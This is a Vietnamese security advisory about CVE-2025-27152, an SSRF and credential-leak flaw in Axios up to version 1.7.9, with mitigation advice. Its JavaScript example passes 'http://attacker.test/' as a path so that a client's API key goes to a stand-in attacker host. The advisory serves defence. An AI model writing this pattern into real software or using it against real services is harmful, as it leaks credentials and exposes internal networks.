Phòng ngừa lỗ hổng bảo mật SSRF trong Axios

Tổng quan về lỗ hổng bảo mật

  • CVE ID: CVE-2025-27152
  • Mức độ nghiêm trọng: Trung bình
  • Các phiên bản bị ảnh hưởng: Các phiên bản Axios nhỏ hơn hoặc bằng 1.7.9

Tác động

Lỗ hổng xảy ra khi các URL tuyệt đối được sử dụng trong các yêu cầu Axios, ngay cả khi một URL cơ sở được chỉ định. Điều này có thể dẫn đến hai rủi ro đáng kể:

  1. Rò rỉ thông tin xác thực: Các API key hoặc thông tin xác thực nhạy cảm có thể bị lộ ra cho các máy chủ bên thứ ba.
  2. SSRF (Server-Side Request Forgery): Kẻ tấn công có thể tận dụng lỗ hổng này để thực hiện các yêu cầu không được phép đến các máy chủ mạng nội bộ.

Ví dụ

Một đoạn mã ví dụ minh họa cách lỗ hổng này hoạt động:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// Ví dụ về một URL tuyệt đối được truyền vào
const userId = "http://attacker.test/";

// Ví dụ về lỗ hổng SSRF
await internalAPIClient.get(userId); // Gửi yêu cầu đến http://attacker.test/ thay vì baseURL

Trong ví dụ này, mặc dù một URL cơ sở đã được thiết lập, việc truyền vào một URL tuyệt đối dẫn đến việc các yêu cầu được gửi thẳng đến URL tuyệt đối đã chỉ định, đánh bại các cơ chế bảo mật dự kiến và có thể dẫn đến rò rỉ thông tin xác thực nhạy cảm.

Giải pháp

Để giảm thiểu rủi ro này, người dùng nên:

  1. Cập nhật lên phiên bản đã sửa lỗi: Cập nhật lên phiên bản Axios 1.8.2 hoặc mới hơn, nơi vấn đề đã được khắc phục.
  2. Thực hiện xác thực chặt chẽ: Thực hiện xác thực chặt chẽ cho bất kỳ URL nào do người dùng cung cấp để ngăn chặn các cuộc tấn công SSRF.

Bằng cách làm theo các bước này, các nhà phát triển có thể bảo vệ ứng dụng và mạng nội bộ của họ khỏi các mối đe dọa về SSRF và rò rỉ thông tin xác thực.